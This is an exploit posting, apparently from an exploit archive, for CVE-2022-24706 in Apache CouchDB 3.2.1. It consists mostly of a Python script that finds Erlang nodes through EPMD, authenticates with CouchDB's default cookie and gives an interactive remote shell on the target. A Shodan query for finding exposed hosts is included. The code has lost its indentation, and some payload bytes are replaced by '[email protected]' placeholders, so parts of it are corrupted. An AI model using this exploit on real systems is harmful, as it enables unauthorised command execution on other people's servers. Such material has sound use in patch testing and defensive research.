Apache CouchDB 3.2.1 Remote Code Execution

Apache CouchDB version 3.2.1 suffers from a remote code execution vulnerability.


SHA-256 | f1687dd02add8cf6fd95b916d13ebd9d1a2a3752722f49c27c7755203c138d46

# Exploit Title: Apache CouchDB 3.2.1 - Remote Code Execution (RCE)
# Date: 2022-01-21
# Exploit Author: Konstantin Burov, @_sadshade
# Software Link: https://couchdb.apache.org/
# Version: 3.2.1 and below
# Tested on: Kali 2021.2
# Based on 1F98D's Erlang Cookie - Remote Code Execution
# Shodan: port:4369 "name couchdb at"
# CVE: CVE-2022-24706
# References:
# https://habr.com/ru/post/661195/
# https://www.exploit-db.com/exploits/49418
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
# https://book.hacktricks.xyz/pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd#erlang-cookie-rce
#
#
#!/usr/local/bin/python3

import socket
from hashlib import md5
import struct
import sys
import re
import time

TARGET = ""
EPMD_PORT = 4369 # Default Erlang distributed port
COOKIE = "monster" # Default Erlang cookie for CouchDB
ERLNAG_PORT = 0
EPM_NAME_CMD = b"\x00\x01\x6e" # Request for nodes list

# Some data:
NAME_MSG = b"\x00\x15n\x00\x07\x00\x03\x49\[email protected]"
CHALLENGE_REPLY = b"\x00\x15r\x01\x02\x03\x04"
CTRL_DATA = b"\x83h\x04a\x06gw\[email protected]\x00\x00\x00\x03"
CTRL_DATA += b"\x00\x00\x00\x00\x00w\x00w\x03rex"


def compile_cmd(CMD):
MSG = b"\x83h\x02gw\[email protected]\x00\x00\x00\x03\x00\x00\x00"
MSG += b"\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k"
MSG += struct.pack(">H", len(CMD))
MSG += bytes(CMD, 'ascii')
MSG += b'jw\x04user'
PAYLOAD = b'\x70' + CTRL_DATA + MSG
PAYLOAD = struct.pack('!I', len(PAYLOAD)) + PAYLOAD
return PAYLOAD

print("Remote Command Execution via Erlang Distribution Protocol.\n")

while not TARGET:
TARGET = input("Enter target host:\n> ")

# Connect to EPMD:
try:
epm_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
epm_socket.connect((TARGET, EPMD_PORT))
except socket.error as msg:
print("Couldnt connect to EPMD: %s\n terminating program" % msg)
sys.exit(1)

epm_socket.send(EPM_NAME_CMD) #request Erlang nodes
if epm_socket.recv(4) == b'\x00\x00\x11\x11': # OK
data = epm_socket.recv(1024)
data = data[0:len(data) - 1].decode('ascii')
data = data.split("\n")
if len(data) == 1:
choise = 1
print("Found " + data[0])
else:
print("\nMore than one node found, choose which one to use:")
line_number = 0
for line in data:
line_number += 1
print(" %d) %s" %(line_number, line))
choise = int(input("\n> "))

ERLNAG_PORT = int(re.search("\d+$",data[choise - 1])[0])
else:
print("Node list request error, exiting")
sys.exit(1)
epm_socket.close()

# Connect to Erlang port:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, ERLNAG_PORT))
except socket.error as msg:
print("Couldnt connect to Erlang server: %s\n terminating program" % msg)
sys.exit(1)

s.send(NAME_MSG)
s.recv(5) # Receive "ok" message
challenge = s.recv(1024) # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]

#print("Extracted challenge: {}".format(challenge))

# Add Challenge Digest
CHALLENGE_REPLY += md5(bytes(COOKIE, "ascii")
+ bytes(str(challenge), "ascii")).digest()
s.send(CHALLENGE_REPLY)
CHALLENGE_RESPONSE = s.recv(1024)

if len(CHALLENGE_RESPONSE) == 0:
print("Authentication failed, exiting")
sys.exit(1)

print("Authentication successful")
print("Enter command:\n")

data_size = 0
while True:
if data_size <= 0:
CMD = input("> ")
if not CMD:
continue
elif CMD == "exit":
sys.exit(0)
s.send(compile_cmd(CMD))
data_size = struct.unpack(">I", s.recv(4))[0] # Get data size
s.recv(45) # Control message
data_size -= 45 # Data size without control message
time.sleep(0.1)
elif data_size < 1024:
data = s.recv(data_size)
#print("S---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode())
data_size = 0
else:
data = s.recv(1024)
#print("L---data_size: %d, data_recv_size: %d" %(data_size,len(data)))
time.sleep(0.1)
print(data.decode(),end = '')
data_size -= 1024



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